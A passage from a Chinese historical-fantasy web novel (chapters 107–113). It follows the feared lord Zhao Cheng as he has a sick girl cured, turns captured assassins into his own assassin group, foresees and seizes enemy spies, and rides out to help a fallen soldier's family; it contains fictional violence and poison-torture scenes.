话音未落,念禾浑身剧烈颤抖着跪下了,嘭就磕了个头。
“阎王爷,民女是病死的,没做什么坏事,求求您,别让念禾下地狱了……”
赵诚深深闭目。
人无语的时候,真的会很无语。
原来不是把我当成了坏人,而是就没把我当人。
当成阎王了!
没办法,赵诚让人找来了影月和灵鸢。
两女一出现,立刻扑上去,抱住了念禾。
“小禾儿,怎么哭了?”
“身上又疼了吗?”
念禾看到了亲人,终于忍不住,抱着两女哭了。
“二娘,小娘,你们怎么也死了?”
“念禾不想你们死,你们快回去,我求求阎王爷,送你们回去吧。”
“啊呜……”
她哭得绝望凄惨,就要再给赵诚跪下磕头。
赵诚又气又无奈,又拿小孩子没有什么办法。
断玉也是哭笑不得。
好在影月和灵鸢了解念禾,先是安抚了她,又说明了情况。
“这是爵爷哩,就是大官,很大很大的官。”
“他能给你治病,接你来,是要治好你的。”
“真的吗?”念禾小心地看向赵诚。
视线刚刚触及赵诚衣角,就连忙缩回去了。
“是好人?”
灵鸢昧着良心说道,“大大的好人!”
大好人赵诚没有再展示自己和蔼的一面,直接叫来了药无医和封不救,“你们俩,治好她。”
“嗯……腿也治。”
药无医恭敬道,“爵爷,这女孩的病确实能治,不过需要的药材也是真贵,您看……”
赵诚俯视着他,“你之前在她俩那里骗了那么多钱,不够你治病吗?”
药无医摸了摸鼻子,有点尴尬道,“那个,都用完了……”
眼看赵诚面色不善,他又话头一转,“不过,我师弟精通针法,也可治好此病,就是腿不太好治……”
赵诚大手一挥,“把他给我赶出去。”
“赚够了钱,买好了药再回来!”
“给你三日时间,三日之后,还没回来,你就自己挖个好坑等死吧。”
药无医欲哭无泪,被丢出了爵府。
江湖第一诈骗犯又回到江湖,还带着要命的任务,那自然又是一番神头鬼脸的操作。
说是三日,但到了第二天,药无医就鬼鬼祟祟地钻回了爵府。
不但药凑齐了,还带了两大包金子回来。
他跪在地上,将金子奉上。
“爵爷,小的干了最后一票大的,这些都是孝敬您的!”
“等那些刺客发现了,还会送上门来,到时候我帮爵爷用毒药控制他们,让他们尽掌于爵爷之手。”
人才啊!
不愧是做骗子的,下的都是连环套,不但要那些刺客的钱,现在连他们的人也不放过了……
第108章 野蛮生长脱胎换骨!以恶之名行善之事!
赵诚看着那两大包金子,越发欣赏眼前这个诈骗犯了。
“你是想借我的手,把那些刺客都解决了,然后再伺机跑路?”
“属下怎敢?爵爷明鉴啊!”
“治病吧。”
药无医立刻开始着手研制药方,而后熬炼丹药。
在此之前,他就已经多次为念禾治疗,对于念禾的情况了如指掌,原本就想着时机一到,就立刻给念禾治好病。
只是没想到,时机来得如此突然。
让他自己都措手不及。
“念禾的病可以治好了吗?之前先生不是说,还要许久才能治好吗?”
念禾的眼睛之中闪烁着希望的光芒,小小的她已经知道了死亡的可怕,也早已经被病痛折磨得生不如死。
如今这病终于能够治好,还有些不敢置信。
“原本是需要许久才能治好的,不过现在有爵爷在,爵爷妙手回春,先生就能治好你了。”
影月冷冷看着药无医,如此说道。
药无医只觉得后心发凉,那影月目光就在他周身要害之处徘徊,让他如芒在背。
“原来是这样吗?看似是先生在治我的病,实际上是爵爷治的?”
“可以这样理解。”
灵鸢点了点头,目光也在药无医的要害之处扫过,让药无医汗毛直竖。
这俩娘们不怀好意,一定得小心一点她们。
药无医所学药理,比封不救要强一些,而封不救的针法,则比药无医更好一些。
两人不敢糊弄赵诚,配合着对念禾进行治疗。
他们也确实有妙手回春之能,两三日过去,念禾的气色肉眼可见地好了起来。
影月两女见状,对赵诚越发感念,而对于药无医两人,目光愈冷。
药无医真是欲哭无泪,明明是他出力出钱,怎么感觉越治越危险?
这两娘们怎么能如此小心眼?
圣贤诚不我欺,唯女子与小人难养也!
如今念禾病还没好,便被安排住在内宅之中,与青鸾朝雪等人住在一起。
众女对这个心思单纯又善良怯懦的女孩甚是怜惜,很是疼爱。
因为赵诚废除了吃食规格上的规矩,所以就算是小禾儿,也能够吃到炊玉做的糕点。
第一次吃,她差点把舌头都吞下去,让她好吃到掉了眼泪,从没吃过这么好吃的食物,真以为自己到了仙宫,对着炊玉连呼仙女姐姐。
等到见了纫秋刺绣,莳薇弄花,那更是挪不开眼了。
纫秋等人,也是一个个都晋升成了仙女。
不论哪位仙女做事,她都是站在一旁默默看着,双眼泛着星光,将每处细节记在心里。
炊玉最善药膳,念禾身体的亏空在飞快地补足。
又有封不救和药无医两人全力医治,她的病况在飞快好转。
又有炊玉所做的精品膳食,不但气色好了起来,那原本有些枯槁的长发,如今也愈发柔顺,出现光泽。
柔弱的小脸上,竟也出现了三分婴儿肥,看着倒是越发可爱。
如今渐渐恢复的她,更是有了自己的第一个好朋友——韩灼华。
这位故韩的小公主比念禾大上两三岁,生性有些活泼明媚,还有点粗线条,像个活宝开心果,也引得众女喜爱。
两个小女孩出身虽然是天壤之别,但都是天真单纯,竟出奇的能玩到一起去,每日帮着莳薇等人裁枝弄花,作画女红,顺便学着技艺。
被爱会使人疯狂长出血肉来,而在这里,更有许多仙女姐姐的偏爱,让念禾的目光也越发的明亮有光了。
原本怯懦不敢说话的她,现在也敢多说些话了,脸上的笑容也多了起来。
尤其是那条有些畸形的腿,如今在飞快向着正常腿型转变,甚至行走的时候,一瘸一拐都不再那么明显。
如今她虽然依然不敢直视赵诚,但心里却明白,一切都是这个骇人的“阎王爷”所带来的。
偶尔她会主动请缨,为赵诚送去瓜果点心,小心翼翼蹑手蹑脚地送到赵诚手边案台,而后又战战兢兢,微瘸微拐地退出去。
出门之后,还会长长地松口气。
但与韩灼华说些悄悄话时,也总会悄悄感念赵诚的好。
小禾儿的渐渐蜕变,影月两女看在眼里,喜在心里。
“大姐,小禾儿的病就要好了,她现在过得很好,你在下面不用再担心了……”
“我们姐妹的命,是你拿命换的,之前是我们无能,被那药无医欺骗,让小禾儿遭了这么久的罪,大姐,下去之后,灵鸢再给你赔不是。”
“不过现在好了,念禾遇到了爵爷……”
“本来我们是要刺杀他,拿他的头去换了悬赏给念禾治病的,没想到刺杀失败,却因祸得福,现在给他做事呢……”
“世人传他是血屠阎罗,残暴不仁,但其实他对自己人真的很好,念禾来之前,他每日都会吃光炊玉做的点心,但念禾来之后,他只会偶尔吃两个……”
咸阳城一处野地,影月二女跪在一处衣冠冢前烧着纸。
影月一言不发,灵鸢碎碎念念。
念禾的母亲为救她们,死无葬身之地,连尸首都没能抢回来,只有一些遗物,作为衣冠冢。
念禾在哪里,影楼七魅就在哪里,衣冠冢就在哪里。
所以,她们在这里立下了衣冠冢,无名,无碑,只有一个小土包。
做刺客的,能有一个小土包,有人祭奠怀念,已经算是不错。
作为刺客,且是江湖上成名的刺客,两女的观察力自不必说,几乎每一个细节,都能够过目不忘,并推断出许多东西来。
多日以来,赵诚的种种状若无意的行为,早已让她们看出了许多东西。
那位盛名诸国的“血屠”,不是为了利用影楼七魅而善待念禾,也不屑于以念禾要挟她们,这只不过是他发自本心的一个随手而为。
他不愿展现自己“善”的一面,所以许多东西,故意做出“恶”的表象。
但行走于黑暗的刺客,见惯了人间阴暗,如何分辨不出善恶?
她们深知,就算自己明天死了,只要不是背叛,赵诚就不会苛待念禾。
故而,生平第一次,她们可以抛弃所有后顾之忧,愿意把自己的命押上牌桌,去搏每一个赵诚想要的结果。
若是再这样清闲下去,她们都要有些惶恐了。
好在,第一个任务很快就来了。
第109章 该死,这货投敌了!药无医严选血衣楼!
近日以来,各国对于赵诚的悬赏越来越丰厚,越来越多的刺客组织也便趋之若鹜。
江湖上对于各种奇门暗器,剧毒丹药的需求量大增。
这时候,药无医突然出现,接取了大量的订单,不论是毒药还是伤药,亦或者是各种奇怪效果的药香药散,那都是来者不拒,照单全收。
同时,还收取了大批的定金。
结果收完定金的第二日,药无医就突然消失不见。
诸多刺客找了一圈,终于发现了一个荒谬的现实。
这货投敌了!
不知道什么时候,竟然跑到赵诚府邸去了!
何其荒唐,前一天还在给刺客们制作毒药,用于刺杀赵诚,后一天就出现在赵诚爵府,为赵诚做事去了?
那我们的定金算什么?
众刺客怒不可遏。
这家伙收费极贵,而且定金直接收一半,对于刺客来说,那也不是小数目。
钱收了,人跑了,这怎么能行?
还从没有人敢这样吞下刺客们的钱,且这货吞的还不是一家两家,是许多家!
但凡在咸阳附近活动的,想要刺杀赵诚的刺客,都被他骗了一个遍。
于是各刺客联合起来,要在杀掉赵诚之前,先弄死药无医。
药无医也是个消息灵通的,很快就得知了刺客们要先弄死自己的事情,当下慌得不行,拉着封不救要把药舍搬到赵诚寝居去。
被赵诚一脚踢飞,才绝了这个念想。
而随着时间推移,诸多刺客调查之下,药无医越来越多的事情东窗事发。
刺客们越查越是心惊,越查越是愤怒。
这货简直是江湖头号大骗子!
他也不是没有真本事,靠着胡说八道忽悠人那一套行骗的江湖骗子。
而是真有本事,却不给他们用,出一分力,拿百分钱的技术诈骗!
这一下,江湖上的刺客可气坏了。
更有好几个刺客当场就发了疯,冲进赵诚爵府,要弄死药无医,结果被师兄弟联手放翻,毒得昏天暗地,生不如死。
“……这是第几个了?”
封不救看着地上口吐白沫,尚且用杀人般的目光瞪着药无医的刺客,默默无语。
“第七个……第八个吧?”药无医自己也数不清了,他现在实在有点慌乱害怕。
这要是毒不翻,自己不就交代了吗?
不行,还得想办法和爵爷待在一起,不然小命不保。
“快给爵爷送去,此人名风枭,有踏风无痕之能,亦是不俗之辈,等等,我先给他下几道毒药,确保他跑不脱。”
说着药无医又是几道毒药放出去,风枭当场开始翻白眼,顿时生不如死,对药无医恨之入骨,扬言弄死药无医。
吓得药无医又是下毒,又是扎针。
很快,在毒药的折磨下,风枭就老实了。
等送到赵诚那里,没几句话的功夫,就表示臣服,愿意给赵诚做事。
赵诚掐指一算,知道这人是真心臣服了,也就交给影月来用。
但药无医不放心了,苦口婆心相劝,最后又在风枭身上加了几道毒药保险。
每隔一段时间必须服用解药,不然就会生不如死,功力尽散。
如此一来,他才觉得万无一失。
毕竟这些刺客现在对他的敌意,比对爵爷还要大得多了。
不可不防啊!
接下来的几日,每天都有刺客前来刺杀。
最凶险的一次,药无医差点被带出府去,好在赵诚隔空摄魂,将那刺客定身府墙之内,才算留得一命。
自那之后,药无医更没有安全感了,他深知这一次玩脱了,连爵府的门都不敢迈出一步。
但敢继续刺杀的刺客,依然是连绵不绝。
当然,好汉架不住三斤蒙汗药。
更何况药无医用的不止三斤,也不止是蒙汗药。
所以再顶尖的刺客,最后也还是都被师兄弟联手药翻,亦或者赵诚出手制服。
有前车之鉴,还敢入府袭杀药无医的,自然都是艺高人胆大!
而能够突破药无医的重重布置,更能够在他反击之下活下来的,那也是药无医严选,各个都有过硬的本事。
就算在赵诚看来,也确实可堪一用。
如此两日之后,影月手底下已经多出了十二个人。
而如今刺客越来越多,赵诚直接交给影月掌管,建立起新的刺客组织,将其命名为血衣楼。
血衣楼刺客则以封喉为名,取一击必杀,见血封喉之意。
……
“终于开始行动了吗?”
繁星闪耀天穹,赵诚立于阁楼赏月台,长眸开合间,星理于心间运转,诸事如江河流淌,万事万物了然于心。
他算到赵国阴山谍府秘士今日开始行动,将从秦国各处横穿三川郡,直逼阳城县。
许多胡谍都是早就渗透进入秦国的,如点点繁星缀在秦国国境四面八方。
有的甚至是沉寂多年的暗子,已经在秦国内安家生子,多年未曾与谍府联络。
亦或者只是偶尔传递情报。
他们之前执行的任务不一而足,但在谍府发布明确任务计划之后,他们的任务就统一变更为绑架赵诚舅舅和舅母。
为保任务不出意外,这一次对方直接出动了五处胡谍。
更有赵境胡谍大批潜入秦境,以此来遮掩黑冰台耳目,以作调虎离山,声东击西之策。
若黑冰台误以为胡谍刚刚大举入境,从而花费更多的力量去阻挠,那就中了他们的计,暗中潜伏的胡谍早就抵达阳城县,出手绑架赵诚亲眷了。
不过对于赵诚来说,五处还是太少了。
如今行动方向、执行胡谍都已确定,赵诚只是略微一算,就将五处胡谍的落脚之处准确精准算出。
他唤来影月,如今影月掌管着无医严选的十五名顶尖刺客,算上影月和灵鸢,一共是十七把利刃,各个都是刺客之中的顶尖存在。
“一日半的时间,你领着封喉到荥阳城西,有间名为曦的客栈,二楼左数第三间,抓三名赵国胡谍。”
“半日之后,成皋城北郊,西沙村东大槐树下一间民房里,再抓四名胡谍。”
“当夜亥时,巩县水运码头下船七名胡谍。”
“次日中午,宜阳三春山东侧小路,伏击三人。”
“入夜之前,阳城县东侧官道会过一商队,商队护卫中藏着五名胡谍,需要你们自己分辨,如果分辨不出,就把护卫都杀掉。”
“此外,这些人最好给我抓活的。”
“不要漏了任何一个。”
第110章 谍府胡笳:谍府一定是出了内鬼!
赵诚看着舆图,静静地说着,影月则是静静地听,没有多问一句。
往日里,再模糊的目标她都能精准干掉。
如今如此精确的任务,她还从没打过,但正是因为如此简单,她才异常慎重。
因为爵爷已经给了如此明确的信息,连位置和人数都给出来了,若是出现了问题,才更显她无能。
待赵诚说完,她只有一句,“领命。”
而后便退了出去,先是去找药无医要来了必备迷药毒香,而后立刻率领十七封喉离府而去。
一行十七人,飞快消失于黑夜之中。
做刺客的,只有不择手段达成目的。
有时候只需要一个姓名,亦或者是一个样貌特征,一点点的信息,就足以让她们锁定目标。
何况如此清晰的任务。
一日半之后。
荥阳城西,云曦客栈二楼。
“传信,已抵达荥阳,无威胁。”
“我们自韩境入三川郡,黑冰台就算再怎么查,也查不到我们踪迹的。”
“黑冰台现在重心都放在边境上,应该不会注意到我们,不过还是要小心为上。”
“啾啾啾啾……”
一声声夜雀鸣啼响起,传出客栈。
客栈之外的树上,立刻有鸟儿回应,而后倏忽飞去。
胡谍,亦叫做胡笳。
其中由许多楼烦、林胡遗民,精通萨满术,能以喉音胡笳模仿百兽之声,可通过萨满术与所养之兽沟通,从而传递情报。
同时,也能够通过元气或者真元,震动这种胡笳之音,使得他人陷入幻觉,被他们所操纵。
对战的关键时刻,一声胡笳,可以使对手完全失神。
并在回神之前,被他们砍掉了脑袋。
最是防不胜防。
“这一路没有留下任何痕迹,也没有见到黑冰台的尾巴,这次的任务出奇的简单啊……”
一名胡谍轻松地躺在床上,翘起了腿,显得有些惬意。
但另一名胡谍却脸色凝重,喉咙之中不时发出古怪的声音,而窗外也传来各种小兽的啼叫声。
不多时,他脸色一变,“不对劲,有高手靠近,杀气很足!”
“撤!”
三人瞬间暴起,从三个方向悄无声息冲出房间。
然而刚刚冲出,利刃就已经抵在咽喉处。
三人同时被制,死亡阴影瞬息盈满客栈。
暗中影影绰绰,有如幽冥恶鬼一般的刺客们,游走在黑暗之中,一双双看不清楚的目光,如同刀尖一般,锁定在他们的身体要害之上。
让他们甚至感到肌肤都有些刺痛。
这一切来的太过突然,毫无预兆,以至于他们根本没有什么准备。
“啾……额!”
一名胡笳还想使用喉音施展幻术,一柄匕首直接挑断了他的气管,而后一根竹管紧随其后插在那气管断口处。
如此一来,这胡笳气不能从喉咙处,只能从竹管出,便再也施展不出胡笳萨满术。
而后影月尚觉不够保险,又以药无医的迷药毒之。
等到三名胡谍彻底悄无声息之后,十七封喉已然消失于客栈之中。
从出现到消失,没有惊动任何人。
甚至没有发出一点声音。
等到客栈小二发现那房间之中已经没了人的时候,他们已经抵达成皋城北郊,西沙村东。
影月遥遥看着那村东的大槐树,以及下方那座悄无声息的民房,默默震撼无语。
如此精准的情报,爵爷到底是怎么算到的?
世上真有如此天机占卜之术!?
当初他连影楼七魅的声名都不知道,却能够精准说出小禾儿所在,已经是让影月惊为天人。
如今这抓捕胡谍的任务如此清晰,更如亲眼所见未来之时一般,更让影月心头震颤。
力如天倾,体若金刚。
眸可摄魂,手握天机。
这到底是哪里蹦出来的怪物?
十七封喉目标明确,层层封锁,潜入民宅。
胡谍从始至终都没有反侦察到任何人的追踪,如今突然面对十七名顶尖杀手的围剿,根本毫无还手之力。
瞬息被制,挑开气管,插上竹管,毒香迷倒一气呵成。
简单的让影月不敢置信。
真是从没打过这么简单的仗。
如果不是赵诚已经明确说了只有四个人,她都要再掘地三尺,找一找有没有隐藏起来的胡谍。
捉了活的,十七封喉马不停蹄,迅速赶往巩县水运码头。
这巩县位于洛水与黄河交汇处,地理位置优越,水运发达,是重要的物资转运枢纽。
此地矿产资源丰富,冶矿兴盛,所产兵器、农具等质量上乘,以此供应周边地区。
县城内街巷交错,铁匠铺、货栈林立。
因为行动速度太快,血衣楼封喉到达这里的时候,才是傍晚时分。
来来往往的船只在码头装卸货物,呈现出一派繁忙景象。
各个顶尖杀手展现出惊人素养,刚刚到达此处,已经完美融入码头,化作码头上的一名名力工,亦或者是伙计,随之忙忙碌碌。
如此准备,显然高看了那些胡笳。
亥时初,七名胡笳扮作商人下船,看起来毫无破绽。
但时辰和人数精准符合,当下就被封喉抓了。
依然是挑气管,插竹管,毒香迷倒一气呵成。
胡笳甚至还没反应过来,眼前一花,就已经没了任何反抗手段,一个个满脸不可思议地看着眼前的一群索命鬼,满脑子问号。
抓错人了吧?
然而对上那些坚定的目光,他们才终于明白,没抓错人,对方莫名其妙地确定自己等人的身份。
这让七名胡笳大惊失色。
不是,他们是怎么找到我们的?
有内鬼!?
不对啊,本次行动路线,只有他们这七个人知道,就连府主也不知道他们扮作商人,从巩县下船啊!
这也能被抓!?
次日中午,宜阳三春山东侧的羊肠小路两侧。
十七封喉如同木雕般纹丝不动。
如此鸟不拉屎的地方,就连百姓都没有人来。
实在不像是胡谍会来的地方。
但爵爷说了,他们便只有等。
日上中天的瞬间,山林间传来了几声啼叫,窸窸窣窣的声音传来,有小兽倏忽来去。
不多时,三个身影遥遥走来。
“谍令大人,咱们从这里走,未免太过绕远了,这样何时才能完成任务?”
“少废话,跟上,听说府里出了内鬼……”
第111章 眼睛一闭一睁,见到血屠本人了!?
“本次行动一共五方胡笳前往,一方引走黑冰台,一方杀伤,一方遮掩,一方出手带走目标,最后一方接应。”
“结果呢,这才两天,已经两方胡谍消失无踪了,甚至连信号都没有能传递出来,没有任何事先预兆,直接消失!”
“如此精准的点杀,对方必然有内鬼在谍府之中,而且这内鬼地位不低。”
“最可怕的是,我们胡谍行动,从无报备行程规划的惯例,这内鬼全凭推断,就能够得知我们的位置,显然非常了解我们的行动习惯。”
“恐怕也是从基层胡谍爬上去的。”
谍令脸色十分凝重,显然对这个内鬼也是十分忌惮。
“这么快已经消失两组了?”
“我们不是三日前才确定开始行动的吗?对方就算有内鬼传递情报,也不能在这么快的时间锁定吧,赶来总还需要时间。”
“说的是啊,可见内鬼恐怖。”
老谍令点了点头,高深莫测说道,“正因如此,我们必须反其道而行之,不能按照惯例行进,所以我临时更变路线,选择了这条隐秘的深山小路。”
“哼哼,如此深山,野兽密布,正是我们胡笳萨满的天下,就算是黑冰台秘士衔尾而来,咱们也能轻易甩掉他们。”
“那内鬼更是想不到,我临时改变路线,穿三春山而过,这就是一个有经验的老胡谍能够做出的反应,你们……”
嗤!
路边半人高的草丛之中,突有寒芒一闪而过。
老谍令眼睛一瞪,还没来得及作何反应,气管已是瞬间被划开,竹管插入,迷香放倒,一气呵成!
“谍令!你们是……”
“完了,有埋伏……”
当此之时,他身后的两名胡谍还在心中酝酿如何去拍马屁。
却不想,一眨眼的功夫,谍令已经被伏击了个正着,倒在地上人事不知。
他们的马屁还在肚子里没拍出来,眼前已经有一大群杀机凛冽的刺客窜了出来,在他们萨满胡笳音发出之前,切了他们的气管,瞬间放倒!
两名胡谍翻白眼之际还在心中痛斥谍令。
不是说好了临时改变路线对方就不知道的吗?
直接带队撞人家刀口上了,还他娘有经验的老胡谍,我可去#¥%……&!
那内鬼不会就是你吧?
看着倒地人事不知的三名胡谍,众封喉都是面面相觑,心头骇然。
这三名胡谍的话他们都听到了。
临时改变路线,甚至刻意选了深山老林行进,却还是被他们提前埋伏在了这里!
而这,源自于爵爷三日前的命令。
可对方三日前才开始行动!
也就是说,爵爷在他们刚刚确定开始行动的时候,就提前预判了他们的行动时间和准确路线。
至连临时改变路线的准确位置都算好了。
料敌先机至此,当真匪夷所思!
多智如妖乎!??
十七名封喉各个骇然,心中对赵诚的敬畏达到了极致。
如此妖孽,连这都能算到,那他们在爵爷面前,无异于是透明的。
恐怕生前身后事都被算的明明白白,就连今天穿的什么里衣都能够了然于胸!
若说之前,一些刺客还有些想要伺机逃离的想法,那么现在,是一点念头都不敢有了。
生怕升起一丝念头,就被主子算到,而后找个由头杀了。
“走!入夜之前,抵达阳城县东侧官道!”
影月带人掠出三春山,一路疾行向阳城县。
实际上,赵诚制定的命令还是有些保守的。
这些封喉作为顶尖刺客,想要在一群商队护卫之中分辨胡笳其实很轻松。
十七人轻松潜入商队,还没入夜,就锁定了五名胡谍,而后悄无声息将这五名胡谍解决带走。
因为这五名护卫本来就是后面多出来的,少了之后又回归了正常,所以商队甚至没发现护卫少了五人。
半日之后。
黑冰台秘士追寻着丝丝缕缕的线索,相继追查到各处胡笳行踪位置,然而却全都扑了个空。
而且所有的线索和痕迹全都断了。
苦寻半日,硬是没有找到丝毫痕迹!
黑冰台秘士们顿时如临大敌,“这次阴山谍府来了高手!”
“立刻回防怀阳村!”
“还有,传信台主,需要支援!”
比即将到来的敌人更可怕的,是突然消失的敌人。
因为你不知道他们在哪里,就如黑暗中的毒蛇,随时都会窜出来给你致命一击。
对于黑冰台的秘士们来说,更是如此!
此次护卫,可是大王亲自下令,绝对不容有失。
……
可千万不能出了差错啊。
黑冰台统领拼命搜寻,却始终找不到敌人所在,不由得焦灼不已,十分上火。
每日严防死守,眼睛都不敢多眨。
如此多日,黑冰台统领都快要熬死了,顿弱突然传来了命令,让他们撤掉最高戒备,日常巡防即可。
众秘士才终于松了口气。
只是一个疑问始终缭绕在他们心中挥之不去。
那些胡笳到底去哪了?
……
“爵爷,人带回来了,都还活着。”
影月依然如同个送肉的下人,推着一排木车,将胡谍送入府中,丝毫不引人瞩目。
赵诚看了看这些胡笳,这些人也都是有修为的,这点小伤根本死不掉,现在一动不动,完全是因为药无医的迷香效力强大。
他唤来药无医,“叫醒他们。”
药无医挥袖,一股气息拂过那些竹管,没多久一群胡笳相继醒来,惊恐的看着周围一切。
这太奇幻了,眼一闭一睁,人已经到这了。
这人是……血屠!?
老谍令一见赵诚,差点又晕过去。
好家伙,他们就是来绑此人亲眷,以此来对付此人的。
结果啥也没干成,就被他抓回来了。
这不全完了?
第112章 遗属迁户出事!赵诚亲赴狄道县!
见到赵诚,有胡笳已经开始尝试自尽。
然而药无医在这里,他们想死也死不掉。
经脉炸了,给你缝上。
窍穴崩了,给你补上。
说什么也死不掉。
一番忙活下来,平白多了许多痛苦,一群胡笳终于绝望。
“你们知道我?”
见到了胡笳们的反应,赵诚如此问道。
老谍令点了点头,“血屠,你别想从我们这里问到一点信息。”
“该死的内鬼,府令早晚会找到他,扒了他的皮!”
到现在为止,他依然认为赵诚是凭借内鬼的信息才找到他们的。
赵诚笑了,“既然知道我,还敢去对付我的亲眷,看来你们对我了解还是不够深,赵国对我了解也不够深啊。”
“药无医,给他们用点毒,死不了活不成的那种。”
“明白,生不如死是吧,爵爷想问什么?”
看着一群胡笳那坚定的目光,赵诚笑道,“什么都不问。”
“他们都是阴山谍府培养出来的死士,你能击垮他们的意志?”
药无医顿时来劲了,知道证明自己的时候到了,“爵爷,您就瞧好吧。”
“十天,不,五天,保证他们再硬的骨头,也比面条还软。”
闻听此言,诸胡笳不以为意。
他们可是阴山谍府出来的精锐,每一个能够成长到如今的胡笳,那都经过惨无人道的地狱训练,说是从深渊之中爬出来的恶鬼也毫不为过。
最不怕的就是刑讯,进了刑房就像是回家了一样,吃得香,睡得着。
严刑拷打当按摩,针扎指尖纯属挠痒痒。
有机会就自尽,什么也别想问出来。
这也叫个事?
瞧不起谁呢?
药无医嘿嘿一笑,拿出一瓶药膏,挨个抹在胡笳的脑门上,“就喜欢你们现在桀骜不驯的样子。”
随后他又拿出了药散,毒香,毒针,毒液,奇形怪状的草药……
一番操作之后,胡笳们不痛不痒,只是浑身无力。
“成了爵爷,爵爷就找个地方安置他们,保证他们十日内动弹不得,也不会乱叫打扰爵爷。”
“十日之后再看,必是软骨头了。”
赵诚挥了挥手,影月自去安排了。
胡笳们被扔在了无人问津的地方,完全不以为意。
然而一日之后,他们察觉到了不对劲。
三日之后,有人想要抓心挠肝,惨叫哀嚎,却动不了也叫不出。
六日之后,他们只想求饶,问什么都愿意说,却根本无人搭理。
十日之后,他们甚至愿意做任何事,包括背叛谍府,在心中准备好了一万遍说辞,只等来人,便立刻投诚。
可惜,等来的还是药无医。
药无医又是一顿操作,然后将他们再次扔在无人问津的地方。
胡笳们哀莫大于心死。
没完了是吧!?
有什么你倒是问啊!
什么都做还不行吗?
一个人都看不见,光下毒了,纯折磨是吧?
若说有谁能理解他们,还在宛城大牢里面的方士云羽恐怕是其中之一。
已经过了好几个月了,作为赵诚战利品的他,到现在都无人问津!
偏偏他还是个骄傲的犟种。
轻松败给赵诚之后,觉得无颜面对师父和同门,不愿回山,又不知去哪。
就等赵诚来找他,然后求问自己的时候,再痛斥赵诚一番,让其哀求自己,自己再以假功法骗他,让其修为毁于一旦!
这就是云羽的邪恶计划。
但可惜,一直没有机会实施。
好在,他是个方士,还可以默默修炼,等待赵诚来问。
看谁先熬不住!
……
各国悬赏赵诚人头,赏金越来越多,来的刺客也是越来越多。
当然,所有刺客都是有去无回。
没本事的,死在了药无医严选之中。
有点本事的,则是通过了药无医严选,被捕获充入了血衣楼当牛做马。
如此一来,整个大良造爵府就像是一个巨大的深渊,无数刺客闻风丧胆,不敢靠近一步。
在江湖上,赵诚的府邸称为第一禁地。
但也正因如此,此地也成了江湖上有名的试金石。
一些原本不屑于出手的刺客,抱着不信邪与扬名立万的态度,接连踏入了爵府。不出意外的,当然是出意外了。
一个都没跑掉,全都栽在了这里,一世英名尽毁。
其中更有许多江湖上成名已久,神龙见首不见尾的顶尖刺客。
在赵诚的强大武力,与药无医师兄弟的毒药控制下,也是成了血衣楼的头牌。
正所谓来而不往非礼也,各国如此客气,赵诚也不能太冷漠。
于是安排血衣楼反向刺杀各国首脑。
这一群职业素养顶尖,又一肚子怨气的刺客自然出手如电。
短短时间内,在各国掀起一股腥风血雨。
一时间风声鹤唳,各国游侠方士都成了抢手货,接连被重金聘请成为门客。
而那始作俑者,此时正在血衣军营地之中监军练兵。
把后面加入血衣军的那些精锐锤炼得叫苦不迭,整个血衣军的精进速度都在飞速提升。
就在这时,冯全找到了赵诚。
“将军,遗属迁户那边,好像出了些问题。”
赵诚看向他,“从谁那里出的问题?”
事到如今,还有人敢在这事上做文章?
问过他的方天画戟了吗?
冯全说道,“是黄胜的老母亲受了重伤无法迁徙。”
黄胜……
赵诚记得此人,他们曾在疾驰新郑时中伏。
黄胜没死于伏击,却死于追击过程中。
当时黄胜急着为同袍报仇,追得太过激进,身中数箭而死。
“其母因何受了重伤?”
“属下查了案牍,说是摔伤,具体语焉不详。”
“语焉不详?”赵诚目光一冷,起心动念间算出猫腻,当下站起身来,“那就去看看。”
“先给其母治伤,其他的之后再说。”
“灵鸢。”
赵诚轻唤一声,灵鸢突然出现,灵巧落地,“爵爷。”
赵诚下令道,“把药无医和封不救带来。”
“是。”
她倏忽消失,没多久,就一手提着一个飞掠而归。
在赵诚的示意下,她将药无医和封不救丢在马上,而后自己也翻身上马。
赵诚策马而出,三人紧随其后,除此之外还有八名亲卫。
这动作实在太快,从得知消息到出发,不过一盏茶的时间。
一旁大口吃馍的扶苏都没有反应过来。
“呜……等等吾,吾也去!”
他三口两口将馍囫囵吞下,而后也是翻身上马,追着赵诚等人而去。
第113章 铁血仁心护遗孤!何为残暴不仁?
如今经过许久的锻炼,扶苏的体魄壮了些,肤色也黑了不少,阳刚之气渐显。
他本就生性善良正直,而军伍中多是豪爽正直的汉子,扶苏的表现也赢得了军士们的尊重。
经过许久的同吃同住同练,在扶苏眼中,这些军士不再是典籍之中的文字,而是一个个有血有肉有情有义的人。
此时扶苏得知有将士的遗属出了问题,自然也很关切想要去看看。
血衣悍马一路疾驰,不过一个半时辰,就抵达狄道县黄胜家宅。
灵鸢率领暗中跟随的血衣楼刺客分流而去,直奔县廷、黄胜田产等地。
赵诚则站在院中止步不前,“你们进去看看,先治好老人家的伤。”
“是,将军。”
“是,爵爷。”
有药无医和封不救两人在,多重的伤也不是问题,一定没有性命之忧。
但赵诚一身煞气,怕老人家见了自己受惊,加重了伤势可就坏了。
扶苏见状有些疑惑,“疾驰近百里至此,大良造为何不进去探望?”
赵诚低头看向扶苏,“你莫不是忘了初次见我,不敢抬头了?”
扶苏脸色一红,这才明白赵诚这是怕吓到了遗属。
同时他心中也有些说不出的感觉。
杀人无数的血屠,竟会怕吓到别人,而独自等候在外。
先生们都痛斥他是血屠,残暴不仁。
可他这样子,又哪里残暴,哪里不仁了?
正此时,却听到屋中突然传来乒乒乓乓的响声,以及一个女人母狮子般的嘶吼声。
“滚!给我滚!我娘已经重伤在床,你们还嫌不够吗?”
“我家男人是死了,但他是死在战场上!”
“你们如此狼狈为奸,不得好死!”
“我男人是跟着血屠大将军打仗的!你们敢夺我们的田,欺负我们孤儿寡母,我会再告!”
“告到大将军知道!把你们全都杀了!!”
“滚出去!”
“不是……我们……哎呦!”
封不救等人狼狈退出房间,冯全退得有点慢,被一个烧火棍砸在脑袋上,痛得龇牙咧嘴。
赵诚面色愈冷,眸若寒霜。
冯全赶忙抱着脑袋,迎着锅碗瓢盆再次进去,“别砸了嫂子,别砸了,我是冯全,是黄胜的同袍,一起打仗的呀!”
“啊……你……”
有东西落地,里面的女人失声惊呼半声,声音已然变得哽咽,说不出话来。
“嫂子,别怕,我们将军亲自来了,还带了神医来给老娘治伤。”
“我们先救人,嫂子有什么委屈,一会儿尽管说来。”
“快进来,快进来……”泣不成声中勉强辨认出柔和的话来。
但这话音一停,突又惊愕道,“等等,你说,你说……大将军亲自来了?”
“在哪……”
“就在外面,他杀气重,你们……”
冯全话没说完。
